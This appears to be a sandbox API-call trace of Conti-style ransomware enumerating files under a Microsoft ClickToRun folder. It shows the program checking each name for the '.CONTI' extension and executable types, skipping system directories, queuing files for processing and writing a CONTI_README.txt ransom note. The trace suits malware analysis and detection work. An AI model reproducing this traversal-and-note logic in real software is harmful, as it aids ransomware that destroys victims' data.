	[0098.732] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a346f8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a346f8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd19cd600, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5bec, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0098.732] lstrcmpiW (lpString1="MasterDescriptor.en-us.xml", lpString2=".") returned 1
	[0098.732] lstrcmpiW (lpString1="MasterDescriptor.en-us.xml", lpString2="..") returned 1
	[0098.732] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.732] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.732] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.732] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.732] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.732] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.732] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.732] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.732] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned 97
	[0098.732] lstrlenW (lpString="MasterDescriptor.en-us.xml") returned 26
	[0098.732] GetProcessHeap () returned 0x1720000
	[0098.732] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xfa) returned 0x17d0428
	[0098.732] lstrcpyW (in: lpString1=0x17d0428, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16"
	[0098.732] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\"
	[0098.733] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\", lpString2="MasterDescriptor.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml"
	[0098.733] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3af8) returned 1
	[0098.733] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1
	[0098.733] lstrcmpiW (lpString1="s321033.hash", lpString2=".") returned 1
	[0098.733] lstrcmpiW (lpString1="s321033.hash", lpString2="..") returned 1
	[0098.733] StrStrIW (lpFirst="s321033.hash", lpSrch=".CONTI") returned 0x0
	[0098.733] StrStrIW (lpFirst="s321033.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.733] StrStrIW (lpFirst="s321033.hash", lpSrch=".exe") returned 0x0
	[0098.733] StrStrIW (lpFirst="s321033.hash", lpSrch=".dll") returned 0x0
	[0098.733] StrStrIW (lpFirst="s321033.hash", lpSrch=".lnk") returned 0x0
	[0098.733] StrStrIW (lpFirst="s321033.hash", lpSrch=".sys") returned 0x0
	[0098.733] StrStrIW (lpFirst="s321033.hash", lpSrch=".CONTI") returned 0x0
	[0098.733] StrStrIW (lpFirst="s321033.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.733] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned 97
	[0098.733] lstrlenW (lpString="s321033.hash") returned 12
	[0098.733] GetProcessHeap () returned 0x1720000
	[0098.733] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xde) returned 0x17c8f58
	[0098.733] lstrcpyW (in: lpString1=0x17c8f58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16"
	[0098.733] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\"
	[0098.733] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\", lpString2="s321033.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash"
	[0098.733] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3668) returned 1
	[0098.733] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x1dff67, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.Platform.Culture.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1
	[0098.733] lstrcmpiW (lpString1="stream.Platform.Culture.man.xml", lpString2=".") returned 1
	[0098.733] lstrcmpiW (lpString1="stream.Platform.Culture.man.xml", lpString2="..") returned 1
	[0098.733] StrStrIW (lpFirst="stream.Platform.Culture.man.xml", lpSrch=".CONTI") returned 0x0
	[0098.733] StrStrIW (lpFirst="stream.Platform.Culture.man.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.733] StrStrIW (lpFirst="stream.Platform.Culture.man.xml", lpSrch=".exe") returned 0x0
	[0098.733] StrStrIW (lpFirst="stream.Platform.Culture.man.xml", lpSrch=".dll") returned 0x0
	[0098.733] StrStrIW (lpFirst="stream.Platform.Culture.man.xml", lpSrch=".lnk") returned 0x0
	[0098.733] StrStrIW (lpFirst="stream.Platform.Culture.man.xml", lpSrch=".sys") returned 0x0
	[0098.733] StrStrIW (lpFirst="stream.Platform.Culture.man.xml", lpSrch=".CONTI") returned 0x0
	[0098.734] StrStrIW (lpFirst="stream.Platform.Culture.man.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.734] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned 97
	[0098.734] lstrlenW (lpString="stream.Platform.Culture.man.xml") returned 31
	[0098.734] GetProcessHeap () returned 0x1720000
	[0098.734] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x104) returned 0x17d06d8
	[0098.734] lstrcpyW (in: lpString1=0x17d06d8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16"
	[0098.734] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\"
	[0098.734] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\", lpString2="stream.Platform.Culture.man.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml"
	[0098.734] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4660) returned 1
	[0098.734] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.x86.en-us.hash", cAlternateFileName="STREAM~1.HAS")) returned 1
	[0098.734] lstrcmpiW (lpString1="stream.x86.en-us.hash", lpString2=".") returned 1
	[0098.734] lstrcmpiW (lpString1="stream.x86.en-us.hash", lpString2="..") returned 1
	[0098.734] StrStrIW (lpFirst="stream.x86.en-us.hash", lpSrch=".CONTI") returned 0x0
	[0098.734] StrStrIW (lpFirst="stream.x86.en-us.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.734] StrStrIW (lpFirst="stream.x86.en-us.hash", lpSrch=".exe") returned 0x0
	[0098.734] StrStrIW (lpFirst="stream.x86.en-us.hash", lpSrch=".dll") returned 0x0
	[0098.734] StrStrIW (lpFirst="stream.x86.en-us.hash", lpSrch=".lnk") returned 0x0
	[0098.734] StrStrIW (lpFirst="stream.x86.en-us.hash", lpSrch=".sys") returned 0x0
	[0098.734] StrStrIW (lpFirst="stream.x86.en-us.hash", lpSrch=".CONTI") returned 0x0
	[0098.734] StrStrIW (lpFirst="stream.x86.en-us.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.734] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned 97
	[0098.734] lstrlenW (lpString="stream.x86.en-us.hash") returned 21
	[0098.734] GetProcessHeap () returned 0x1720000
	[0098.734] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf0) returned 0x17c8710
	[0098.734] lstrcpyW (in: lpString1=0x17c8710, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16"
	[0098.734] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\"
	[0098.734] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\", lpString2="stream.x86.en-us.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash"
	[0098.734] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3d40) returned 1
	[0098.734] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0098.734] lstrcmpiW (lpString1="stream.x86.en-us.man.dat", lpString2=".") returned 1
	[0098.734] lstrcmpiW (lpString1="stream.x86.en-us.man.dat", lpString2="..") returned 1
	[0098.734] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.734] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.735] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".exe") returned 0x0
	[0098.735] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".dll") returned 0x0
	[0098.735] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".lnk") returned 0x0
	[0098.735] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".sys") returned 0x0
	[0098.735] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.735] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.735] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned 97
	[0098.735] lstrlenW (lpString="stream.x86.en-us.man.dat") returned 24
	[0098.735] GetProcessHeap () returned 0x1720000
	[0098.735] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf6) returned 0x17c8808
	[0098.735] lstrcpyW (in: lpString1=0x17c8808, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16"
	[0098.735] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\"
	[0098.735] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\", lpString2="stream.x86.en-us.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat"
	[0098.735] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3420) returned 1
	[0098.735] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0098.735] GetProcessHeap () returned 0x1720000
	[0098.735] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0098.735] FindClose (in: hFindFile=0x17c7f30 | out: hFindFile=0x17c7f30) returned 1
	[0098.735] GetProcessHeap () returned 0x1720000
	[0098.735] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c32b8 | out: hHeap=0x1720000) returned 1
	[0098.735] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0098.735] lstrcmpiW (lpString1="x-none.16", lpString2=".") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="..") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="tmp") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="winnt") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="Application Data") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="AppData") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="temp") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="thumb") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="$Recycle.Bin") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="$RECYCLE.BIN") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="System Volume Information") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="Program Files") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="Program Files (x86)") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="Boot") returned 1
	[0098.736] lstrcmpiW (lpString1="x-none.16", lpString2="Windows") returned 1
	[0098.736] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned 88
	[0098.736] lstrlenW (lpString="x-none.16") returned 9
	[0098.736] GetProcessHeap () returned 0x1720000
	[0098.736] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x17d07e8
	[0098.736] lstrcpyW (in: lpString1=0x17d07e8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F"
	[0098.736] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\"
	[0098.736] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\", lpString2="x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16"
	[0098.736] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned 98
	[0098.736] GetProcessHeap () returned 0x1720000
	[0098.736] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xca) returned 0x173baf8
	[0098.736] lstrcpyW (in: lpString1=0x173baf8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16"
	[0098.736] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*"
	[0098.736] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned 98
	[0098.736] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.736] GetProcessHeap () returned 0x1720000
	[0098.736] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe8) returned 0x17c32b8
	[0098.736] lstrcpyW (in: lpString1=0x17c32b8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16"
	[0098.736] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\"
	[0098.736] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\CONTI_README.txt"
	[0098.736] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0098.738] GetProcessHeap () returned 0x1720000
	[0098.738] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c32b8 | out: hHeap=0x1720000) returned 1
	[0098.738] WriteFile (in: hFile=0x380, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.739] CloseHandle (hObject=0x380) returned 1
	[0098.739] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4eb2556b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8470
	[0098.740] lstrcmpiW (lpString1=".", lpString2=".") returned 0
